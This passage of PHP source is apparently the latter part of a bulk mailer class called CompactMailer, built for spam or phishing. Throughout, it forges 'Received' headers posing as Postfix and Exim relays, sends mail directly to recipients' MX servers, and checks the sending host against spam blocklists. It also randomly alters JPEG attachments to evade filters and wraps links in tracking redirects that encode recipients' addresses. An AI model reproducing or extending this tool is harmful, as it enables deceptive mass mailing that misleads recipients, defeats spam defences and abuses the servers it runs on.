        if (function_exists("srand") && function_exists("crc32")) {
            @srand(@crc32($parts[1]));
        }
        $h_arr[] = "Received: from $ptr ($ptr [$ip])\r\n"
            ."	by ".$parts[1]." (Postfix) with ESMTP id ".strtoupper($this->generate_str(13))."\r\n"
            ."	for <$to>; ".$this->rfc_date()."\r\n"
            ."Received: by $ptr (Postfix, from userid ".rand(10,99999).")\r\n"
            ."	id ".strtoupper($this->generate_str(10))."; ".$this->rfc_date()."\r\n";

        $exim  = $this->random_exim_version();

        $h_arr[] = "Received: from $guser by $ptr with local ($exim)\r\n"
            ."	(envelope-from <$mail_from>)\r\n"
            ."	id ".$this->generate_str(6,1)."-0".$this->generate_str(2,2).$this->generate_str(3,1)."-".$this->generate_str(2,1)."\r\n"
            ."	for <$to>; ".$this->rfc_date()."\r\n";

        return $h_arr[array_rand($h_arr)];
    }

    private function smtp_connect($host, $port, $enc, $timeout = 10, $usesock = true, $usestream = true)
    {
        $host_enc = ($enc === "ssl" ? "ssl://" : "tcp://").$host.":".$port;
        $sock     = false;
        $eno      = 0;
        $estr     = "";
        if ($usesock && function_exists("fsockopen")) {
            $sock = @fsockopen($host, $port, $eno, $estr, $timeout);
        }
        if ($usestream && !$sock && function_exists("stream_socket_client")) {
            $sock = @stream_socket_client($host_enc, $eno, $estr, $timeout, STREAM_CLIENT_CONNECT, $this->context);
        }
        if ($sock) {
            @stream_set_timeout($sock, $timeout, 0);
            $banner = $this->smtp_read_response($sock);
            if (!preg_match('/^220/', $banner)) {
                @fclose($sock);
                return false;
            }
        }
        return $sock;
    }

    private function smtp_helo_and_send($sock, $mail_from, $to, $data, $domain)
    {
        $helo = $this->format_smtp_host($domain);
        @fputs($sock, "EHLO $helo\r\n");
        $ehlo_resp = $this->smtp_read_response($sock);
        if (!preg_match('/^250/', $ehlo_resp)) {
            @fputs($sock, "HELO $helo\r\n");
            $helo_resp = $this->smtp_read_response($sock);
            if (!preg_match('/^250/', $helo_resp)) {
                return false;
            }
        }
        if (stripos($ehlo_resp, "STARTTLS") !== false) {
            @fputs($sock, "STARTTLS\r\n");
            $tls_resp = $this->smtp_read_response($sock);
            if (!preg_match('/^220/', $tls_resp)) {
                return false;
            }
            if (!@stream_socket_enable_crypto($sock, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
                return false;
            }
            @fputs($sock, "EHLO $helo\r\n");
            $ehlo_resp = $this->smtp_read_response($sock);
            if (!preg_match('/^250/', $ehlo_resp)) {
                return false;
            }
        }
        @fputs($sock, "MAIL FROM: <$mail_from>\r\n");
        $resp_mf = $this->smtp_read_response($sock);
        if (!preg_match('/^250/', $resp_mf)) {
            return false;
        }
        @fputs($sock, "RCPT TO: <$to>\r\n");
        $resp_rc = $this->smtp_read_response($sock);
        if (!preg_match('/^25[01]/', $resp_rc)) {
            return false;
        }
        @fputs($sock, "DATA\r\n");
        $resp_data = $this->smtp_read_response($sock);
        if (!preg_match('/^354/', $resp_data)) {
            return false;
        }
        $lines = @explode("\n", $data);
        foreach ($lines as $ln) {
            @fputs($sock, rtrim($ln, "\r\n")."\r\n");
        }
        $final = $this->smtp_read_response($sock);
        if (strpos($final, "250") === 0) {
            @fputs($sock, "QUIT\r\n");
            return true;
        }
        return false;
    }

    private function smtp_helo_auth_send($sock, $mail_from, $to, $data, $domain, $login, $pass)
    {
        $helo = $this->format_smtp_host($domain);
        @fputs($sock, "EHLO $helo\r\n");
        $ehlo_resp = $this->smtp_read_response($sock);
        if (!preg_match('/^250/', $ehlo_resp)) {
            @fputs($sock, "HELO $helo\r\n");
            $helo_resp = $this->smtp_read_response($sock);
            if (!preg_match('/^250/', $helo_resp)) {
                return false;
            }
        }
        if (stripos($ehlo_resp, "STARTTLS") !== false) {
            @fputs($sock, "STARTTLS\r\n");
            $tls_resp = $this->smtp_read_response($sock);
            if (!preg_match('/^220/', $tls_resp)) {
                return false;
            }
            if (!@stream_socket_enable_crypto($sock, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
                return false;
            }
            @fputs($sock, "EHLO $helo\r\n");
            $ehlo_resp = $this->smtp_read_response($sock);
            if (!preg_match('/^250/', $ehlo_resp)) {
                return false;
            }
        }
        @fputs($sock, "AUTH LOGIN\r\n");
        $resp_auth = $this->smtp_read_response($sock);
        if (!preg_match('/^334/', $resp_auth)) {
            return false;
        }
        @fputs($sock, base64_encode($login)."\r\n");
        $resp_user = $this->smtp_read_response($sock);
        if (!preg_match('/^334/', $resp_user)) {
            return false;
        }
        @fputs($sock, base64_encode($pass)."\r\n");
        $resp_pass = $this->smtp_read_response($sock);
        if (!preg_match('/^235/', $resp_pass)) {
            return false;
        }
        @fputs($sock, "MAIL FROM: <$mail_from>\r\n");
        $resp_mf = $this->smtp_read_response($sock);
        if (!preg_match('/^250/', $resp_mf)) {
            return false;
        }
        @fputs($sock, "RCPT TO: <$to>\r\n");
        $resp_rc = $this->smtp_read_response($sock);
        if (!preg_match('/^25[01]/', $resp_rc)) {
            return false;
        }
        @fputs($sock, "DATA\r\n");
        $resp_data = $this->smtp_read_response($sock);
        if (!preg_match('/^354/', $resp_data)) {
            return false;
        }
        $lines = @explode("\n", $data);
        foreach ($lines as $ln) {
            @fputs($sock, rtrim($ln, "\r\n")."\r\n");
        }
        $final = $this->smtp_read_response($sock);
        if (strpos($final, "250") === 0) {
            @fputs($sock, "QUIT\r\n");
            return true;
        }
        return false;
    }

    private function smtp_read_response($sock)
    {
        $resp = "";
        while (!@feof($sock)) {
            $line = @fgets($sock, 515);
            if ($line === false) break;
            $resp .= $line;
            if (@substr($line, 3, 1) == " ") break;
        }
        return $resp;
    }

    private function check_rbl()
    {
        $dnsbl_check = array(
            'b.barracudacentral.org',
            'xbl.spamhaus.org',
            'sbl.spamhaus.org',
            'zen.spamhaus.org',
            'bl.spamcop.net'
        );
        $ip = @gethostbyname($this->basedomain);
        if (!$ip) return '*rbl:unknown*';

        $rip    = implode('.', array_reverse(explode('.', $ip)));
        $result = '';
        foreach ($dnsbl_check as $dnsbl) {
            if (@checkdnsrr("$rip.$dnsbl.", 'A')) {
                $result .= "$dnsbl, ";
            }
        }
        return rtrim($result, ', ');
    }

    private function get_domain()
    {
        $sources = array('SERVER_NAME','HTTP_HOST','SERVER_ADDR');
        $host    = '';
        foreach ($sources as $s) {
            if ($host == 'localhost' || $host == '127.0.0.1' || strpos($host, '.') === false) {
                $host = '';
            }
            if (!empty($host)) {
                break;
            }
            if (!empty($_SERVER[$s])) {
                $hv   = @preg_replace('/:\d+$/','', $_SERVER[$s]);
                $host = trim($hv);
            }
        }
        if (!$host) {
            $host = 'localhost.localdomain';
        }
        $host = @preg_replace('/^www\./i', '', $host);

        $fulldomain = $host;
        $baseDomain = $host;

        if (!empty($this->get_mx_records($fulldomain, false)) || @preg_match('/^(\d{1,3}\.){3}\d{1,3}$/', $host))
            return array($baseDomain, $fulldomain);

        if (strpos($host, ':') !== false && @preg_match('/^([0-9a-fA-F]{1,4}:){1,7}[0-9a-fA-F]{1,4}$/', $host)) {
            return array($baseDomain, $fulldomain);
        }

        $parts = explode('.', $fulldomain);

        if (count($parts) > 2) {
            $partsCount = count($parts);

            for ($i = 1; $i < $partsCount; $i++) {
                $candidate = implode('.', array_slice($parts, $i));
                if (strpos($candidate, '.') === false)
                    break;
                $candidateIp = @gethostbyname($candidate);
                if ($candidateIp)
                    $baseDomain = $candidate;
            }
        }

        return array($baseDomain, $fulldomain);
    }

    private function get_mx_records($domain, $usea = true)
    {
        $mx_records = array();
        $weights    = array();
        if (function_exists('getmxrr')) {
            if (@getmxrr($domain, $mx_records, $weights)) {
                if (!empty($mx_records)) {
                    @array_multisort($weights, $mx_records);
                    return $mx_records;
                }
            }
        }
        if (function_exists('dns_get_record')) {
            $drec = @dns_get_record($domain, DNS_MX);
            if (!empty($drec)) {
                foreach ($drec as $mx) {
                    if (!empty($mx['target'])) {
                        $mx_records[] = $mx['target'];
                        $weights[]    = isset($mx['pri']) ? $mx['pri'] : 10;
                    }
                }
                if (!empty($mx_records)) {
                    @array_multisort($weights, $mx_records);
                    return $mx_records;
                }
            } elseif ($usea) {
                $arec = @dns_get_record($domain, DNS_A);
                if (!empty($arec) && !empty($arec[0]['ip'])) {
                    $mx_records[] = $arec[0]['ip'];
                }
            }
        }
        return $mx_records;
    }

    private function format_smtp_host($host)
    {
        if (@preg_match('/^(\d{1,3}\.){3}\d{1,3}$/', $host)) {
            return "[$host]";
        }
        if (strpos($host, ':') !== false && @preg_match('/^([0-9a-fA-F]{1,4}:){1,7}[0-9a-fA-F]{1,4}$/', $host)) {
            return "[$host]";
        }
        return $host;
    }

    private function get_text_between($str, $start, $end)
    {
        $pos_start = @strpos($str, $start);
        if ($pos_start === false) {
            return '';
        }
        $pos_end = @strpos($str, $end, $pos_start);
        if ($pos_end === false) {
            return '';
        }
        return @substr($str, $pos_start + strlen($start), $pos_end - $pos_start - strlen($start));
    }

    private function handle_data($data)
    {
        $ex = @explode("\n", $data);
        return @trim($ex[array_rand($ex)]);
    }

    private function process_macros_random($text, $data)
    {
        @preg_match_all('#\[redirect:(.+?)\]#is', $text, $rd);
        @preg_match_all('#\{randM:(.+?)\}#is', $text, $rdm);

        if (!empty($rd[1])) {
            foreach ($rd[1] as $i => $link) {
                $link_parts  = @explode('>>>', $link);
                $curl        = "http://".$this->fulldomain.@$_SERVER['REQUEST_URI'];
                $redirect    = "l=";
                $redirect .= trim($link_parts[0]);

                for ($z=1; $z<count($link_parts); $z++) {
                    if (strpos($link_parts[$z], 'email:') !== false) {
                        $redirect .= "&e=".trim($data[0]);
                    } elseif (strpos($link_parts[$z], 'var:') !== false) {
                        $vi = @explode(':', $link_parts[$z]);
                        if (isset($vi[1]) && isset($data[$vi[1]])) {
                            $redirect .= "&v".$vi[1]."=".trim($data[$vi[1]]);
                        }
                    } elseif (strpos($link_parts[$z], 'link:') !== false) {
                        $curl = @explode(':', $link_parts[$z], 2);
                        if (isset($curl[1])) {
                            $curl = $curl[1];
                        }
                    } else {
                        $redirect .= "&".$link_parts[$z];
                    }
                }
                $text = $this->str_replace_once($rd[0][$i], $curl."?r=".base64_encode($redirect), $text);
            }
        }

        if (strpos($text, '[unsubscribe:]') !== false) {
            $this->unsubscribe = 1;
            $unsubscribe_url   = "http://".$this->fulldomain.@$_SERVER['REQUEST_URI']."?u=".base64_encode($data[0]);
            $text             = str_replace('[unsubscribe:]', $unsubscribe_url, $text);
        }

        if (!empty($rdm[1])) {
            foreach ($rdm[1] as $i => $rand_str) {
                $opts = explode('|', $rand_str);
                $found_exist = false;
                foreach ($this->randm_array as $rk => $rv) {
                    if ($rv[0] == $rdm[0][$i]) {
                        $text = str_replace($rdm[0][$i], $rv[1], $text);
                        $found_exist = true;
                        break;
                    }
                }
                if (!$found_exist) {
                    $sel = $opts[array_rand($opts)];
                    $this->randm_array[] = array($rdm[0][$i], $sel);
                    $text = str_replace($rdm[0][$i], $sel, $text);
                }
            }
        }

        @preg_match_all('#\[base64:(.+?)\]#is', $text, $resb);
        if (!empty($resb[1])) {
            foreach ($resb[1] as $ii => $b64) {
                @preg_match_all('#\{var:(.+?)\}#is', $b64, $vb);
                if (!empty($vb[1])) {
                    foreach ($vb[1] as $var_index => $varn) {
                        if (is_numeric($varn) && isset($data[$varn])) {
                            $b64 = $this->str_replace_once($vb[0][$var_index], $data[$varn], $b64);
                        }
                    }
                }
                $text = $this->str_replace_once($resb[0][$ii], base64_encode($b64), $text);
            }
        }

        @preg_match_all('#\[attachment:(.+?)\]#is', $text, $att);
        if (!empty($att[1])) {
            foreach ($att[1] as $i => $at) {
                $this->attachment_array[] = @explode('>>>', $at);
                $text = $this->str_replace_once($att[0][$i], '', $text);
            }
        }
        @preg_match_all('#\[attachmentM:(.+?)\]#is', $text, $attm);
        if (!empty($attm[1])) {
            foreach ($attm[1] as $i => $atm) {
                $opts = @explode('>>>', $atm);
                if (isset($opts[0])) {
                    @preg_match_all('#\((.+?)\)#is', $opts[0], $r11);
                    if (!empty($r11[1])) {
                        foreach ($r11[1] as $rg) {
                            $range = @explode(',', $rg);
                            if (count($range)==2) {
                                $rnd_val = rand(intval($range[0]), intval($range[1])-1);
                                $opts[0] = $this->str_replace_once($rg, $rnd_val, $opts[0]);
                                $opts[0] = str_replace(array('(',')'), '', $opts[0]);
                            }
                        }
                    }
                }
                $this->attachment_array[] = $opts;
                $text = $this->str_replace_once($attm[0][$i], '', $text);
            }
        }

        @preg_match_all('#\[image64:(.+?)\]#is', $text, $img64);
        if (!empty($img64[1])) {
            $img_file = 'image64_file.png';
            foreach ($img64[1] as $k => $url) {
                @file_put_contents($img_file, @file_get_contents($url));
                $img_data = @file_get_contents($img_file);
                if ($img_data) {
                    $mtype = $this->get_mime_type($img_file);
                    $data_img64 = 'data:'.$mtype.';base64,'.base64_encode($img_data);
                    $text = $this->str_replace_once($img64[0][$k], $data_img64, $text);
                }
                @unlink($img_file);
            }
        }

        $text = str_replace(array('{var:}','{email:}'), array('{var:1}', trim($data[0])), $text);
        return $text;
    }

    private function get_headers($fromname, $frommail, $replyto = null)
    {
        $fn_enc = (function_exists('iconv'))
            ? "=?".$this->encoding."?B?".base64_encode(@iconv('UTF-8',$this->encoding,$fromname))."?="
            : "=?".$this->encoding."?B?".base64_encode($fromname)."?=";

        $headers  = "From: ".$fn_enc." <".$frommail.">\r\n";
        if (!is_null($replyto)) {
            $headers .= "Reply-To: ".$replyto."\r\n";
        }
        $headers .= "MIME-Version: 1.0\r\n";
        if ($this->custom_headers) {
            $headers .= str_replace("\n", "\r\n", trim($this->custom_headers))."\r\n";
        }
        return $headers;
    }

    private function cut_tags($message)
    {
        $msg = trim(strip_tags($message, '<a>'));
        $find_a = true;
        while ($find_a) {
            $start = @strpos($msg, '<a');
            if ($start !== false) {
                $href  = @strpos($msg, 'href', $start+1);
                if ($href === false) break;
                $href  = @strpos($msg, '"', $href+1);
                if ($href === false) break;
                $endh  = @strpos($msg, '"', $href+1);
                if ($endh === false) break;
                $enda  = @strpos($msg, '</', $endh+1);
                if ($enda === false) break;
                $enda  = @strpos($msg, '>', $enda+1);
                if ($enda === false) break;
                $before   = @substr($msg, 0, $start);
                $link     = @substr($msg, $href+1, $endh-$href-1);
                $after    = @substr($msg, $enda+1);
                $msg      = $before.$link.$after;
            } else {
                $find_a = false;
            }
        }
        return $msg;
    }

    private function str_replace_once($search, $replace, $text)
    {
        $pos = @strpos($text, $search);
        return ($pos!==false) ? @substr_replace($text, $replace, $pos, strlen($search)) : $text;
    }

    private function download_source($url)
    {
        return @file_get_contents($url, false, $this->context);
    }

    private function file_string($name)
    {
        $ext = strtolower(@pathinfo($name, PATHINFO_EXTENSION));
        if (in_array($ext, array('jpeg','jpg')) && $this->check_rand_img()) {
            return $this->rand_img($_FILES['file']['tmp_name']);
        }
        return @file_get_contents($_FILES['file']['tmp_name']);
    }

    private function random_text()
    {
        $chars = 'qwertyuiopasdfghjklzxcvbnm';
        return @substr(str_shuffle(str_repeat($chars, rand(3,8))), 0, rand(3,8));
    }

    private function generate_str($len, $mode=0)
    {
        if ($mode===1) {
            $chars='abcdefghkmnpqrstuvwxyzABCDEFGHKMNPQRSTUVWXYZ1234567890';
        } elseif ($mode===2) {
            $chars='1234567890';
        } else {
            $chars='abcdefghkmnpqrstuvwxyz1234567890';
        }
        $res='';
        $mx = strlen($chars)-1;
        for ($i=0;$i<$len;$i++){
            $res .= $chars[mt_rand(0, $mx)];
        }
        return $res;
    }

    private function check_rand_img()
    {
        foreach (array('getimagesize','imagecreatetruecolor','imagecreatefromjpeg','imagecopyresampled','imagefilter','ob_start','imagejpeg','ob_get_clean') as $f) {
            if (!function_exists($f)) return false;
        }
        return true;
    }

    private function rand_img($file)
    {
        list($w, $h) = @getimagesize($file);
        $new_w   = (rand(1,2)==1) ? $w+rand(-10,10) : $w;
        $new_h   = (rand(1,2)==1) ? $h+rand(-10,10) : $h;
        $quality = (rand(1,2)==1) ? 75 : rand(65,105);
        $bright  = (rand(1,2)==1) ? rand(0,35) : 0;
        $contr   = (rand(1,2)==1) ? rand(-15,15) : 0;
        $im_p    = @imagecreatetruecolor($new_w,$new_h);
        $im      = @imagecreatefromjpeg($file);
        @imagecopyresampled($im_p, $im, 0,0,0,0, $new_w,$new_h, $w,$h);
        @imagefilter($im_p, IMG_FILTER_CONTRAST, $contr);
        @imagefilter($im_p, IMG_FILTER_BRIGHTNESS, $bright);
        @ob_start();
        @imagejpeg($im_p, null, $quality);
        $out = @ob_get_clean();
        @imagedestroy($im_p);
        return $out;
    }

    private function get_mime_type($file)
    {
        if (function_exists('mime_content_type')) {
            return @mime_content_type($file);
        } elseif (function_exists('finfo_open')) {
            $finfo = @finfo_open(FILEINFO_MIME_TYPE);
            if ($finfo) {
                $type = @finfo_file($finfo, $file);
                @finfo_close($finfo);
                return $type ? $type : 'application/octet-stream';
            }
        }
        $ext = strtolower(@pathinfo($file, PATHINFO_EXTENSION));
        $map = array(
            'jpg'=>'image/jpeg','jpeg'=>'image/jpeg','png'=>'image/png','gif'=>'image/gif','bmp'=>'image/bmp',
            'pdf'=>'application/pdf','zip'=>'application/zip','rar'=>'application/x-rar-compressed','txt'=>'text/plain'
        );
        return isset($map[$ext]) ? $map[$ext] : 'application/octet-stream';
    }

    private function get_host_ptr($ip)
    {
        if (!function_exists("dns_get_record")) {
            return false;
        }
        $ptr = implode(".", array_reverse(explode(".", $ip))).".in-addr.arpa";
        $host = @dns_get_record($ptr, DNS_PTR);
        if (!$host || !isset($host[0]["target"])) {
            return false;
        }
        return $host[0]["target"];
    }

    private function rfc_date()
    {
        $tz  = @date('Z');
        $tzs = ($tz<0)?'-':'+';
        $tz  = abs($tz);
        $tz  = (int)($tz/3600)*100 + ($tz%3600)/60;
        return sprintf("%s %s%04d", @date('D, j M Y H:i:s'), $tzs, $tz);
    }

    private function random_exim_version()
    {
        $maj = array(4);
        $min = range(93,97);
        $pat = range(0,3);
        $x1  = $maj[array_rand($maj)];
        $x2  = $min[array_rand($min)];
        $x3  = (rand(0,1)==1) ? '.'.$pat[array_rand($pat)] : '';
        return "Exim $x1.$x2$x3";
    }

    private function get_header_date()
    {
        return date('r');
    }

    private function get_header_message_id($domain)
    {
        return md5(uniqid(mt_rand(), true)).'@'.$domain;
    }
}

$cm = new CompactMailer();
$cm->run();